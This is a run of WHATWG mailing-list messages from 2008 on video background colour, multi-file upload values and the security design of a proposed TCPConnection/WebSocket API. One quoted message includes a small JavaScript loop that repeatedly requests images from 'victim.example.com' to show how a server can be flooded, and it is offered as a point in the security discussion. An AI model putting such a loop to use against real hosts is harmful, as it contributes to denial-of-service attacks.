	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
	<Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
Message-ID: <1213880743.22314.39.camel@localhost>

Safari already uses a transparent background by default and to me that
doesn't seem like a bad idea -- it may be best to hide small 1px
letterboxes due to rounding errors in aspect ratio calculation etc.
Setting "background-color:transparent" to override the default black is
probably less known to most authors and transparent background is also
more in line with most other HTML elements.

I would suggest eventually specifying this behavior in the rendering
section, unless someone feels that default black letterboxes is very
important.

// Philip

On Fri, 2008-06-13 at 21:02 +0000, Ian Hickson wrote:
> On Fri, 13 Jun 2008, Philip Jgenstedt wrote:
> >
> > The issue with the poster attribute is resolved, but one comment made me 
> > remember something I've wondered about:
> > 
> > On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
> > 
> > > It's not impossible; first black would render 300x150, then the poster
> > 
> > The spec says: Areas of the element's playback area that do not contain 
> > the video represent nothing.
> > 
> > What does this mean? Black is customary for video, but leaving the 
> > region transparent (thus falling back to css background color) is 
> > another option. Which is better?
> 
> It's transparent, but I intended to have the following rule in the style 
> sheet:
> 
>    video { background: black; }
> 
> ...so that it looks black unless the author restyles it. Does that make 
> sense?
> 
> -- 
> Ian Hickson               U+1047E                )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'
-- 
Philip J?genstedt
Opera Software



From michael.carter at kaazing.com  Thu Jun 19 11:01:23 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Thu, 19 Jun 2008 11:01:23 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <4859B9CB.40607@arc.net.au>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
Message-ID: <24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>

I fail to see how virtual hosting will work for this anyway. I mean we're
> not talking about Apache/IIS here, we're talking about custom applications,
> scripts or devices - possibly implemented in firmware or "a few lines of
> perl". Adding vhost control to the protocol is just silly since the
> webserver won't ever see the request and the customer application should be
> able to use any method it likes to differentiate its services. Even URI
> addressing is silly since again the application may have no concept of
> "paths" or "queries". It is simply a service running on a port. The only
> valid use case for all this added complexity is proxying but nobody has
> tested yet whether proxies will handle this (short of enabling encryption,
> and even that is untested).
>

Actually, I've already tested this protocol against some typical forward
proxy setups and it hasn't caused any problems so far.


>
> I'm thinking here that this proposal is basically rewriting the CGI
> protocol (web server handing off managed request to custom scripts) with the
> ONLY difference being the asynchronous nature of the request. Perhaps more
> consideration might be given to how the CGI/HTTP protocols might be updated
> to allow async communication.
>

Rewriting the HTTP spec is not feasible and I'm not even convinced its a
good idea. HTTP has always been request/response so it would make a lot more
sense to simply use a new protocol then confuse millions of
developers/administrators who thought they understood HTTP.


>
> Having said that I still see a very strong use case for low-level
> client-side TCP and UDP. There are ways to manage the security risks that
> require further investigation. Even if it must be kept same-domain that is
> better than creating a new protocol that won't work with existing services.
> Even if that sounds like a feature - it isn't. There are better ways to
> handle access-control for non-WebConnection devices than sending garbage to
> the port.
>

If we put the access control in anything but the protocol it means that we
are relying on an external service for security, so it would have to be
something that is completely locked down. I don't really see what the
mechanism would be. Can you propose a method for doing this so as to allow
raw tcp connections without security complications?

> [If a] protocol is decided on, and it is allowed to connect to any IP-address> - then DDOS attacks can still be performed: If one million web> browsers connect to any port on a single server, it does not matter> which protocol the client tries to communicate with. The server will> still have problems.
>
>
>  Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" <http://victim.example.com/> + generateLongRandomString();
> }, 1000);
>
> for example would?
>
>  It's more harmful because an img tag (to my knowledge) cannot be used to
> brute-force access, whereas a socket connection could. With the focus on
> DDOS it is important to remember that these sockets will enable full
> read/write access to arbitrary services whereas existing methods can only
> write once per connection and generally not do anything useful with the
> response.
>

What do you mean by brute-force access, and how could the proposed protocol
be used to do it. Can you provide an example?

Also, the proposed protocol will do a single HTTP request, just like the img
tag, and the response be hidden from the attacker if it wasn't the right
response. From a potential attacker's point of view, this is a write once
per connection where the only control they have over the request is the
value of the url. Attacking with this protocol is identical to attacking
with an image tag in every way that I can think of.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/1d96552a/attachment.htm>

From adele at apple.com  Thu Jun 19 11:18:29 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 19 Jun 2008 11:18:29 -0700
Subject: [whatwg] What should the value attribute be for multi-file upload
	controls in WF2?
Message-ID: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>

Hi all,

I'm looking at the Web Forms 2 specification for the multi-file upload  
control that uses the min/max attributes.  When multiple files are  
selected, its unclear what the value attribute should contain.  It  
could contain just the first filename, or a comma separated list of  
all of the filenames.  I think it will be useful though to add  
something about this in the specification for consistency.

Thanks,
	Adele


From hyatt at apple.com  Thu Jun 19 14:23:28 2008
From: hyatt at apple.com (David Hyatt)
Date: Thu, 19 Jun 2008 16:23:28 -0500
Subject: [whatwg] video background color (Was: Interpretation	of	video
 poster attribute)
In-Reply-To: <1213880743.22314.39.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
	<Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
	<1213880743.22314.39.camel@localhost>
Message-ID: <16479D4F-C3A3-4B32-8F1B-E23D2019956B@apple.com>

I agree.

dave

On Jun 19, 2008, at 8:05 AM, Philip J?genstedt wrote:

> Safari already uses a transparent background by default and to me that
> doesn't seem like a bad idea -- it may be best to hide small 1px
> letterboxes due to rounding errors in aspect ratio calculation etc.
> Setting "background-color:transparent" to override the default black  
> is
> probably less known to most authors and transparent background is also
> more in line with most other HTML elements.
>
> I would suggest eventually specifying this behavior in the rendering
> section, unless someone feels that default black letterboxes is very
> important.
>
> // Philip
>
> On Fri, 2008-06-13 at 21:02 +0000, Ian Hickson wrote:
>> On Fri, 13 Jun 2008, Philip Jgenstedt wrote:
>>>
>>> The issue with the poster attribute is resolved, but one comment  
>>> made me
>>> remember something I've wondered about:
>>>
>>> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
>>>
>>>> It's not impossible; first black would render 300x150, then the  
>>>> poster
>>>
>>> The spec says: Areas of the element's playback area that do not  
>>> contain
>>> the video represent nothing.
>>>
>>> What does this mean? Black is customary for video, but leaving the
>>> region transparent (thus falling back to css background color) is
>>> another option. Which is better?
>>
>> It's transparent, but I intended to have the following rule in the  
>> style
>> sheet:
>>
>>   video { background: black; }
>>
>> ...so that it looks black unless the author restyles it. Does that  
>> make
>> sense?
>>
>> -- 
>> Ian Hickson               U+1047E                ) 
>> \._.,--....,'``.    fL
>> http://ln.hixie.ch/       U+263A                /,   _.. \   _ 
>> \  ;`._ ,.
>> Things that are impossible just take longer.   `._.-(,_..'-- 
>> (,_..'`-.;.'
> -- 
> Philip J?genstedt
> Opera Software
>



From frode at seria.no  Thu Jun 19 14:26:47 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:26:47 +0200
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
	<f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
Message-ID: <31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>

>> Web pages should only be allowed to access other servers when the
>> script has been digitally signed, and when the user has agreed to
>> giving the script elevated privileges - or there should be a
>> certificate on the origin server which is checked against DNS records
>> for each server that the script attempts to connect to.

I have changed my view on this. Only a DNS record is required:

1. A script by default can only connect to the server that it was
downloaded from.
2. Server A has a script that tries to connect to Server B. Server B
must have a record in its DNS that allows scripts originating from
Server A.

Nothing more should be needed, a DDOS attack using javascript can
never succed unless the attacker controls the DNS servers. I think
this DNS method could be used for all cross site scripting security
policies (java applets, flash etc). Additionally, the client can have
policies disallowing reconnects in for example one minute, if the
server responds with HTTP 401 Access Denied.

>> So what we want is a http based protocol which allow the client to
>> continue communicating with the script that handles the initial
>> request.
> I absolutely agree that this would be the best way. However, couldn't
> we use Michaels proposal for that? It seems to solve the same problems
> and is actually compliant HTTP (in theory at least).

We should have both a pure TCPConnection, and a ServerConnection
object. It could possibly be based on the BEEP protocol, i dont know
that protocol. All I know is that HTTP has mechanisms for switching
protocols (HTTP 101 Switching Protocols), and is a good basis for
browser to webserver communications already.

The ServerConnection should have some mechanisms in the protocol that
allows transmission of events from the server and to the server - as
well as sending variables/structures. Example:

var data = { name: "Frode B?rli", address: "Norway" }
document.serverConnection.send(data)

Also the client can add arbitrary event listeners to the
serverConnection object:

document.serverConnection.onwhatever = function(message) {
alert(message.city); }

The server should be able to listen to all DOM events also.

> I find the SessionID header a very good idea though.What are the
> thoughts on that?
>
> I'm sorry if that has already been discussed, but if we use HTTP, why
> can't we use the Access Control spec as an "opt in mechanism" that is
> a little easier to implement than DNS? If you modify the behaviour a
> little, you could even use it against DDOS attacks:

Without DNS records (or an alternative implementation) i think the
TCPConnection and the ServerConnection object should be restricted by
the same rules as XMLHttpRequest.

> "Counter suggestion": When a WebSocket objects attempts to connect,
> perform Access Control checks the way you would for POST requests.
> If the check fails and if the server response contains an
> Access-Control-Max-Age header, agents must immediately close the
> connection and must not open a connection to that resource again (or,
> if Access-Control-Policy-Path is present, to any resource specified)
> until the specified time has elapsed.
> That way, administrators that are hit by a DDOS can simply put

By securing with DNS records, administrators will not have to do
anything to prevent ddos, as it can't happen. Without DNS records, the
script is allowed only to connect to the same server that it was
fetched from. (Same as Java applets, Flash applets and XMLHttpRequest)

> Access-Control: allow <*> exclude <evilsite.example.com>
> Access-Control-Max-Age: 86400
> Access-Control-Policy-Path: /

I think the idea is good, but I do not like the exact implementation.
I think the server should be able to see which script is initiating
the connection (header sent from the client), and then the server can
respond with a HTTP 401 Access Denied. No need to specify anything
more. No need to specify which hosts that are allowed, since the
script can decide that on a number of parameters (like IP-address
etc).

From frode at seria.no  Thu Jun 19 14:54:41 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:54:41 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
Message-ID: <31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>

>> able to use any method it likes to differentiate its services. Even URI
>> addressing is silly since again the application may have no concept of
>> "paths" or "queries". It is simply a service running on a port. The only
>> valid use case for all this added complexity is proxying but nobody has
>> tested yet whether proxies will handle this (short of enabling encryption,
>> and even that is untested).

I think we should have both a pure TCPSocket, and also a ServerSocket
that keeps the same connection as the original document was downloaded
from. The ServerSocket will make it very easy for web developers to
work with, since the ServerSocket object will be available both from
the server side and the client side while the page is being generated.
I am posting a separate proposal that describes my idea soon.

> Actually, I've already tested this protocol against some typical forward
> proxy setups and it hasn't caused any problems so far.

Could you test keeping the same connection as the webpage was fetched
from, open? So that when the server script responds with its HTML-code
- the connection is not closed, but used for kept alive for two way
communications?

This gives the following benefits:

The script on the server decides if the connection should be closed or
kept open. (Protection against DDOS attacks)

This allows implementing server side listening to client side events,
and vice versa. If this works, then the XMLHttpRequest object could be
updated to allow two way communications in exactly the same way.

Also, by adding a SessionID header sent from the client (instead of
storing session ids in cookies), the web server could transparently
rematch any client with its corresponding server side process in case
of disconnect.

>> I'm thinking here that this proposal is basically rewriting the CGI
>> protocol (web server handing off managed request to custom scripts) with the
>> ONLY difference being the asynchronous nature of the request. Perhaps more
>> consideration might be given to how the CGI/HTTP protocols might be updated
>> to allow async communication.
> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> good idea. HTTP has always been request/response so it would make a lot more
> sense to simply use a new protocol then confuse millions of
> developers/administrators who thought they understood HTTP.

The HTTP spec has these features already:

1: Header: Connection: Keep-Alive
2: Status: HTTP 101 Switching Protocol

No need to rewrite the HTTP spec at all probably.

>> Having said that I still see a very strong use case for low-level
>> client-side TCP and UDP. There are ways to manage the security risks that
>> require further investigation. Even if it must be kept same-domain that is
>> better than creating a new protocol that won't work with existing services.
>> Even if that sounds like a feature - it isn't. There are better ways to
>> handle access-control for non-WebConnection devices than sending garbage to
>> the port.
> If we put the access control in anything but the protocol it means that we
> are relying on an external service for security, so it would have to be
> something that is completely locked down. I don't really see what the
> mechanism would be. Can you propose a method for doing this so as to allow
> raw tcp connections without security complications?

TCPConnections are only allowed to the server where the script was
downloaded from (same as Flash and Java applets). A DNS TXT record can
create a white list of servers whose scripts can connect. Also the
TCPConnection possibly should be allowed to connect to local network
resources, after a security warning - but only if the server has a
proper HTTPS certificate.

>> It's more harmful because an img tag (to my knowledge) cannot be used to
>> brute-force access, whereas a socket connection could. With the focus on
>> DDOS it is important to remember that these sockets will enable full
>> read/write access to arbitrary services whereas existing methods can only
>> write once per connection and generally not do anything useful with the
>> response.
> What do you mean by brute-force access, and how could the proposed protocol
> be used to do it. Can you provide an example?

With the security measures I suggest above, there is no need for
protection against brute force attacks. Most developers only use one
server per site, and those that have multiple servers will certainly
be able to add a TXT-record to the DNS.


From frode at seria.no  Thu Jun 19 14:56:32 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:56:32 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>

I think it should be a select box containing each file name and
perhaps an icon, and when you select a file - it asks you if you want
to remove the file from the upload queue.

Frode

2008/6/19 Adele Peterson <adele at apple.com>:
> Hi all,
>
> I'm looking at the Web Forms 2 specification for the multi-file upload
> control that uses the min/max attributes.  When multiple files are selected,
> its unclear what the value attribute should contain.  It could contain just
> the first filename, or a comma separated list of all of the filenames.  I
> think it will be useful though to add something about this in the
> specification for consistency.
>
> Thanks,
>        Adele
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From adele at apple.com  Thu Jun 19 15:04:16 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 19 Jun 2008 15:04:16 -0700
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
Message-ID: <F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>

That's a suggestion for the design of the control, but I was asking  
specifically about the value attribute, which can be accessed from  
script as a string.

- Adele

On Jun 19, 2008, at 2:56 PM, Frode B?rli wrote:

> I think it should be a select box containing each file name and
> perhaps an icon, and when you select a file - it asks you if you want
> to remove the file from the upload queue.
>
> Frode
>
> 2008/6/19 Adele Peterson <adele at apple.com>:
>> Hi all,
>>
>> I'm looking at the Web Forms 2 specification for the multi-file  
>> upload
>> control that uses the min/max attributes.  When multiple files are  
>> selected,
>> its unclear what the value attribute should contain.  It could  
>> contain just
>> the first filename, or a comma separated list of all of the  
>> filenames.  I
>> think it will be useful though to add something about this in the
>> specification for consistency.
>>
>> Thanks,
>>       Adele
>>
>
>
>
> -- 
> Best regards / Med vennlig hilsen
> Frode B?rli
> Seria.no
>
> Mobile:
> +47 406 16 637
> Company:
> +47 216 90 000
> Fax:
> +47 216 91 000
>
>
> Think about the environment. Do not print this e-mail unless you  
> really need to.
>
> Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.



From jta at fe.up.pt  Thu Jun 19 15:06:32 2008
From: jta at fe.up.pt (=?UTF-8?B?Sm/Do28gQXJhw7pqbw==?=)
Date: Thu, 19 Jun 2008 23:06:32 +0100
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>	<f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
	<31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>
Message-ID: <485AD868.4050003@fe.up.pt>

Frode B?rli wrote:
>>> Web pages should only be allowed to access other servers when the
>>> script has been digitally signed, and when the user has agreed to
>>> giving the script elevated privileges - or there should be a
>>> certificate on the origin server which is checked against DNS records
>>> for each server that the script attempts to connect to.
>>>       
>
> I have changed my view on this. Only a DNS record is required:
>
> 1. A script by default can only connect to the server that it was
> downloaded from.
> 2. Server A has a script that tries to connect to Server B. Server B
> must have a record in its DNS that allows scripts originating from
> Server A.
>
> Nothing more should be needed, a DDOS attack using javascript can
> never succed unless the attacker controls the DNS servers. I think
> this DNS method could be used for all cross site scripting security
> policies (java applets, flash etc). Additionally, the client can have
> policies disallowing reconnects in for example one minute, if the
> server responds with HTTP 401 Access Denied.
>
>   
>>> So what we want is a http based protocol which allow the client to
>>> continue communicating with the script that handles the initial
>>> request.
>>>       
>> I absolutely agree that this would be the best way. However, couldn't
>> we use Michaels proposal for that? It seems to solve the same problems
>> and is actually compliant HTTP (in theory at least).
>>     
>
> We should have both a pure TCPConnection, and a ServerConnection
> object. It could possibly be based on the BEEP protocol, i dont know
> that protocol. All I know is that HTTP has mechanisms for switching
> protocols (HTTP 101 Switching Protocols), and is a good basis for
> browser to webserver communications already.
>
> The ServerConnection should have some mechanisms in the protocol that
> allows transmission of events from the server and to the server - as
> well as sending variables/structures. Example:
>
> var data = { name: "Frode B?rli", address: "Norway" }
> document.serverConnection.send(data)
>
> Also the client can add arbitrary event listeners to the
> serverConnection object:
>
> document.serverConnection.onwhatever = function(message) {
> alert(message.city); }
>
> The server should be able to listen to all DOM events also.
>
>   
>> I find the SessionID header a very good idea though.What are the
>> thoughts on that?
>>
>> I'm sorry if that has already been discussed, but if we use HTTP, why
>> can't we use the Access Control spec as an "opt in mechanism" that is
>> a little easier to implement than DNS? If you modify the behaviour a
>> little, you could even use it against DDOS attacks:
>>     
>
> Without DNS records (or an alternative implementation) i think the
> TCPConnection and the ServerConnection object should be restricted by
> the same rules as XMLHttpRequest.
>
>   
>> "Counter suggestion": When a WebSocket objects attempts to connect,
>> perform Access Control checks the way you would for POST requests.
>> If the check fails and if the server response contains an
>> Access-Control-Max-Age header, agents must immediately close the
>> connection and must not open a connection to that resource again (or,
>> if Access-Control-Policy-Path is present, to any resource specified)
>> until the specified time has elapsed.
>> That way, administrators that are hit by a DDOS can simply put
>>     
>
> By securing with DNS records, administrators will not have to do
> anything to prevent ddos, as it can't happen. Without DNS records, the
> script is allowed only to connect to the same server that it was
> fetched from. (Same as Java applets, Flash applets and XMLHttpRequest)
>
>   
>> Access-Control: allow <*> exclude <evilsite.example.com>
>> Access-Control-Max-Age: 86400
>> Access-Control-Policy-Path: /
>>     
>
> I think the idea is good, but I do not like the exact implementation.
> I think the server should be able to see which script is initiating
> the connection (header sent from the client), and then the server can
> respond with a HTTP 401 Access Denied. No need to specify anything
> more. No need to specify which hosts that are allowed, since the
> script can decide that on a number of parameters (like IP-address
> etc).
>   
What if the DDOS attack is on the DNS servers rather that the server 
you're supposedly connecting to? I might be wrong, but you could always 
ask for a TCPConnection for each of an unlimited amount of bogus 
subdomains which could overload the DNS server with record requests. 
Just a thought.


From michael.carter at kaazing.com  Thu Jun 19 15:32:13 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Thu, 19 Jun 2008 15:32:13 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
	<31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
Message-ID: <24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>

> I think we should have both a pure TCPSocket, and also a ServerSocket
> that keeps the same connection as the original document was downloaded
> from. The ServerSocket will make it very easy for web developers to
> work with, since the ServerSocket object will be available both from
> the server side and the client side while the page is being generated.
> I am posting a separate proposal that describes my idea soon.
>

I don't see the benefit of making sure that its the same connection that the
page was "generated" from.

>
> > Actually, I've already tested this protocol against some typical forward
> > proxy setups and it hasn't caused any problems so far.
>
> Could you test keeping the same connection as the webpage was fetched
> from, open? So that when the server script responds with its HTML-code
> - the connection is not closed, but used for kept alive for two way
> communications?


 If you establish a Connection: Keep-Alive with the proxy server, it will
leave the connection open to you, but that doesn't mean that it will leave
the connection open to the back end server as the Connection header is a
single-hop header.


> This gives the following benefits:
>
> The script on the server decides if the connection should be closed or
> kept open. (Protection against DDOS attacks)


With the proposed spec, the server can close the connection at any point.


> This allows implementing server side listening to client side events,
> and vice versa. If this works, then the XMLHttpRequest object could be
> updated to allow two way communications in exactly the same way.
>

The previously proposed protocol already allows the server side listening to
client side events, and vice versa. Rather or not to put that in the
XMLHttpRequest interface is another issue. I think making XHR bi-directional
is a bad idea because its confusing. Better to use a brand new api, like
WebSocket.


> Also, by adding a SessionID header sent from the client (instead of
> storing session ids in cookies), the web server could transparently
> rematch any client with its corresponding server side process in case
> of disconnect.
>

Isn't that what cookies are supposed to do?  Regardless, it sounds like an
application-level concern that should be layered on top of the protocol.


>
> >> I'm thinking here that this proposal is basically rewriting the CGI
> >> protocol (web server handing off managed request to custom scripts) with
> the
> >> ONLY difference being the asynchronous nature of the request. Perhaps
> more
> >> consideration might be given to how the CGI/HTTP protocols might be
> updated
> >> to allow async communication.
> > Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> > good idea. HTTP has always been request/response so it would make a lot
> more
> > sense to simply use a new protocol then confuse millions of
> > developers/administrators who thought they understood HTTP.
>
> The HTTP spec has these features already:
>
> 1: Header: Connection: Keep-Alive
> 2: Status: HTTP 101 Switching Protocol
>
> No need to rewrite the HTTP spec at all probably.


You can't use HTTP 101 Switching Protocols without a Connection: Upgrade
header. I think you'll note that the proposal that started this thread uses
just this combination.


>
> >> Having said that I still see a very strong use case for low-level
> >> client-side TCP and UDP. There are ways to manage the security risks
> that
> >> require further investigation. Even if it must be kept same-domain that
> is
> >> better than creating a new protocol that won't work with existing
> services.
> >> Even if that sounds like a feature - it isn't. There are better ways to
> >> handle access-control for non-WebConnection devices than sending garbage
> to
> >> the port.
> > If we put the access control in anything but the protocol it means that
> we
> > are relying on an external service for security, so it would have to be
> > something that is completely locked down. I don't really see what the
> > mechanism would be. Can you propose a method for doing this so as to
> allow
> > raw tcp connections without security complications?
>
> TCPConnections are only allowed to the server where the script was
> downloaded from (same as Flash and Java applets). A DNS TXT record can
> create a white list of servers whose scripts can connect. Also the
> TCPConnection possibly should be allowed to connect to local network
> resources, after a security warning - but only if the server has a
> proper HTTPS certificate.
>

How would a DNS TXT record solve the problem? I  could register evil.com and
point it at an arbitrary ip address and claim that anyone who wants to can
connect.


> >> It's more harmful because an img tag (to my knowledge) cannot be used to
> >> brute-force access, whereas a socket connection could. With the focus on
> >> DDOS it is important to remember that these sockets will enable full
> >> read/write access to arbitrary services whereas existing methods can
> only
> >> write once per connection and generally not do anything useful with the
> >> response.
> > What do you mean by brute-force access, and how could the proposed
> protocol
> > be used to do it. Can you provide an example?
>
> With the security measures I suggest above, there is no need for
> protection against brute force attacks. Most developers only use one
> server per site, and those that have multiple servers will certainly
> be able to add a TXT-record to the DNS.
>

I don't actually understand which part of the specification you want to
change aside from doing the access control in a DNS TXT record instead of
the protocol.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/973dc2c4/attachment.htm>

From frode at seria.no  Thu Jun 19 15:57:57 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 00:57:57 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
	<F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>
Message-ID: <31fb000f0806191557m37ae7174rc262b31233e11be@mail.gmail.com>

Sorry for misunderstanding. Ofcourse it is up to the user agent to
decide the appearance. If the value attribute should be accessible
from script, then I would wish it was an array when accessed from
script. If it must be a string, then I think it the control itself
should contain multiple input type=file elements, each with a single
value - accessible trough DOM.

Separating by comma is not good enough, as file names can contain comma.

Frode

2008/6/20 Adele Peterson <adele at apple.com>:
> That's a suggestion for the design of the control, but I was asking
> specifically about the value attribute, which can be accessed from script as
> a string.
>
> - Adele
>
> On Jun 19, 2008, at 2:56 PM, Frode B?rli wrote:
>
>> I think it should be a select box containing each file name and
>> perhaps an icon, and when you select a file - it asks you if you want
>> to remove the file from the upload queue.
>>
>> Frode
>>
>> 2008/6/19 Adele Peterson <adele at apple.com>:
>>>
>>> Hi all,
>>>
>>> I'm looking at the Web Forms 2 specification for the multi-file upload
>>> control that uses the min/max attributes.  When multiple files are
>>> selected,
>>> its unclear what the value attribute should contain.  It could contain
>>> just
>>> the first filename, or a comma separated list of all of the filenames.  I
>>> think it will be useful though to add something about this in the
>>> specification for consistency.
>>>
>>> Thanks,
>>>      Adele
>>>
>>
>>
>>
>> --
>> Best regards / Med vennlig hilsen
>> Frode B?rli
>> Seria.no
>>
>> Mobile:
>> +47 406 16 637
>> Company:
>> +47 216 90 000
>> Fax:
>> +47 216 91 000
>>
>>
>> Think about the environment. Do not print this e-mail unless you really
>> need to.
>>
>> Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
>
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From frode at seria.no  Thu Jun 19 16:59:53 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 01:59:53 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
	<31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
	<24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>
Message-ID: <31fb000f0806191659k577a18cejbca8f9ef94fc3bc0@mail.gmail.com>

>> I think we should have both a pure TCPSocket, and also a ServerSocket
>> that keeps the same connection as the original document was downloaded
>> from. The ServerSocket will make it very easy for web developers to
>> work with, since the ServerSocket object will be available both from
>> the server side and the client side while the page is being generated.
>> I am posting a separate proposal that describes my idea soon.
>
> I don't see the benefit of making sure that its the same connection that the
> page was "generated" from.

It does not have to be exactly the same connection, but I think it
should be handled by the web server because then there is no need to
think about transferring state information between for example a PHP
script and a WebSocketServer. It would be almost like creating a
desktop application. Simply because it would be easy for
webdevelopers: Sample PHP script:

There is probably a better approach to implementing this in php, but
its just a concept:
----
   <input id='test' type='button'>";
   <script type='text/javascript'>
      // when the button is clicked, raise the test_click event
handler on the server.
      document.getElementById('test').addEventListener('click',
document.serverSocket.createEventHandler('test_click');
      // when the server raises the "message" event, alert the message
      document.serverSocket.addEventListener('message', alert);
   </script>
<?php
// magic PHP method that is called whenever a client side event is
sent to the server
function __serverSocketEvent($name, $event)
{
    if($name == 'test_click')
       server_socket_event("message", "You clicked the button");
}
?>
 ----

